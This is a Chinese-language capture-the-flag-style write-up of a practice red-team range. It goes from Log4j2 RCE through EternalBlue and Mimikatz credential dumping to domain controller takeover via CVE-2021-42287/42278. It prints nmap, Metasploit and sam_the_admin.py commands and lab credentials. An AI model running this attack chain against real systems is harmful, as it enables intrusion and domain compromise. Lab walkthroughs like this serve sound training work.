从外网 log4j2 RCE 再到内网核弹组合拳漏洞 CVE-2021-42287、CVE-2021-42278 拿到 DC
saulGoodman WEB安全 11630浏览 · 2021-12-27 12:00

前言

本次靶场是 渗透攻击红队 出的第二个内网域渗透靶场,里面包含了最新出的漏洞:log4j2、CVE-2021-42287、CVE-2021-42278,下面是本次靶场的拓扑图:

信息搜集

拿到 IP 对它进行常规 TCP 端口扫描:

nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88,38080 192.168.0.251

发现了开放了两个端口 2238080

是一台 Ubantu ,可疑的是这个 38080 端口,访问发现是一个Web页面:

于是尝试最近爆出的新漏洞 CVE-2021-44228 尝试看看能不能获取到 dnslog

发现存在 CVE-2021-44228 漏洞,得想办法拿到一个 Shell。

CVE-2021-44228 Attack

首先红队人员的 VPS Kali(192.168.0.175) 开启一个 LDAP:

然后红队人员的 VPS Kali(192.168.0.175)使用 nc 监听端口 9999:

最后使用 EXP 成功反弹 Shell :

发现当前拿到的 Shell 是一个 Docker 环境:

想办法逃逸发现均失败了,最后是在 /root/ 目录下找到了 Flag 文件:

flag{redteam.lab-1}

Congratulations, you got this: saul Saul123

得到了一个类似于账号密码的东西,因为刚刚使用 Nmap 扫描出来了一个 SSH 服务,会不会这个就是账号密码呢?

内网初步信息搜集

尝试使用得到的账号密码登陆 SSH 发现登陆成功:

通过信息搜集发现当前机器是有两个网卡:

其中 ens33 是外网的网卡,ens38 (10.0.1.6)是内网网卡,猜测有内网!

PS:在实战的内网渗透中:如果是在 linux 环境下的内网渗透尽量形成全部 bashpython 化,因为 Linux 都完全自带,而在 windows 下的内网渗透则尽量全部形成 powershellbatvbs 化,尽量不要过于依赖外部工具。

所以我们用 for 循环 ping 一下 ens38C 段:

for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done

发现内网还有一台主机存活:10.0.1.7

随后为了方便,我选择用 frp 把当前机器的流量代理出来:(过程省略)

然后使用 Metasploit 设置 Socks 对内网进行深度信息搜集;

使用 smb 版本探测模块对目标进行扫描:

use auxiliary/scanner/smb/smb_version

发现目标 10.0.1.7 版本是 Windows 7,且存在域 REDTEAM

既然是 Win7,那么是不是应该存在 MS17-010 呢?

MS17-010 Attack

随后尝试探测发现存在永恒之蓝:

由于目标是内网不一定出网,随后我使用正向 bind 直接打过去:

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options 

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         10.0.1.7         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        (Optional) The Windows domain to use for authentication
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     10.0.1.7         no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service Packs

拿到 Win7 权限后加载 Mimikatz 先把密码抓出来:

Username  Domain   Password
--------  ------   --------
root      REDTEAM  Red12345

这个时候得到了一个域用户账号。

内网渗透之大杀器 - CVE-2021-42287、CVE-2021-42278

通过对当前内网进行信息搜集发现当前 Win7 机器还有一个内网网卡:

且定位到域控到域控 IP10.0.0.12 :

由于最近爆出了两个域内核武器漏洞:CVE-2021-42287、CVE-2021-42278,尝试看看能不能直接利用。

具体原理是:假如域内有一台域控名为 DC(域控对应的机器用户为 DC$),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 saulGoodman$,再把机器用户 saulGoodman$ 的 sAMAccountName 改成 DC。然后利用 DC 去申请一个TGT票据。再把 DC 的sAMAccountName 改为 saulGoodman$。这个时候 KDC 就会判断域内没有 DC 和这个用户,自动去搜索 DC$(DC$是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。

具体可以看我团队成员的公众号:红队攻防实验室 发布的文章,这里就不多赘述。

于是直接使用 MSF 添加了一个 Socks:

然后添加路由:

run autoroute -s 10.0.0.7/24

由于是 socks5 协议,我本地修改了配置文件然后直接利用脚本:

python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell

最后也是拿到了最终的 Flag。

最终完成了本次靶场通关考核。

5 条评论
某人
表情
可输入 255